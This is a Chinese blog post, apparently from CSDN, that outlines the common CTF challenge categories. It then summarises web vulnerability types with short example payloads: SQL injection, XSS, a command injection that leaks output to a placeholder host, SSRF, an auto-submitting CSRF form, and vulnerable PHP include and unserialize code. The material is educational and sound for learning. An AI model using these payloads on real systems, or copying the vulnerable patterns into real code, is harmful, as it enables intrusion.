CTF常见的题型

CTF常见题型

CTF比赛通常包含的题目类型有七种,包括MISC、PPC、CRYPTO、PWN、REVERSE、WEB、STEGA。

1.MISC(Miscellaneous)类型,即安全杂项,题目或涉及流量分析、电子取证、人肉搜索、数据分析等等。

2.PPC(Professionally Program Coder)类型,即编程类题目,题目涉及到编程算法,相比ACM较为容易。

3.CRYPTO(Cryptography)类型,即密码学,题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术。

4.PWN类型,PWN在黑客俚语中代表着攻破、取得权限,多为溢出类题目。

5.REVERSE类型,即逆向工程,题目涉及到软件逆向、破解技术。

6.STEGA(Steganography)类型,即隐写术,题目的Flag会隐藏到图片、音频、视频等各类数据载体中供参赛者获取。

7.WEB类型,即题目会涉及到常见的Web漏洞,诸如注入、XSS、文件包含、代码执行等漏洞。

转载于:

http://www.shiyanbar.com/questions/471

### CTF Web 类别常见题型汇总 #### 1. SQL 注入 SQL注入是一种常见的攻击方式,通过构造恶意输入来操纵数据库查询语句。这种漏洞通常存在于未正确处理用户输入的应用程序中[^1]。 ```sql SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'; ``` #### 2. XSS (跨站脚本攻击) XSS分为反射型、存储型和DOM-based三种形式。攻击者可以通过这些漏洞执行受害者浏览器上的任意JavaScript代码。 ```html <script>alert('XSS')</script> ``` #### 3. 文件包含漏洞(LFI/RFI) 本地文件包含(Local File Inclusion) 和远程文件包含(Remote File Inclusion),允许攻击者读取服务器端敏感文件或执行远程命令。 ```php <?php include($_GET['file']); ?> ``` #### 4. 命令注入 当应用程序构建操作系统命令字符串时未能正确过滤特殊字符,则可能被利用来进行非法操作,如获取shell访问权限等。 ```bash ping $(whoami).example.com ``` #### 5. SSRF (服务端请求伪造) 该类型的漏洞使得攻击者能够迫使受害者的web应用向内部网络或其他受信任资源发起HTTP请求,从而泄露信息或绕过防火墙限制。 ```python import requests url = "http://internal-service/admin" response = requests.get(url) print(response.text) ``` #### 6. CSRF (跨站点请求伪造) CSRF 攻击是指强制已认证用户的浏览器发送恶意 HTTP 请求到另一个域下,而无需用户交互即可完成某些特定动作。 ```html <form action="https://target-site/logout" method="POST"> <input type="hidden" name="token" value="malicious_token"/> </form> <script>document.forms[0].submit();</script> ``` #### 7. 反序列化漏洞 如果应用程序接收并反序列化不受信的数据源,则可能导致远程代码执行等问题。特别是在PHP环境中尤为危险[^3]。 ```php unserialize($user_input); ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值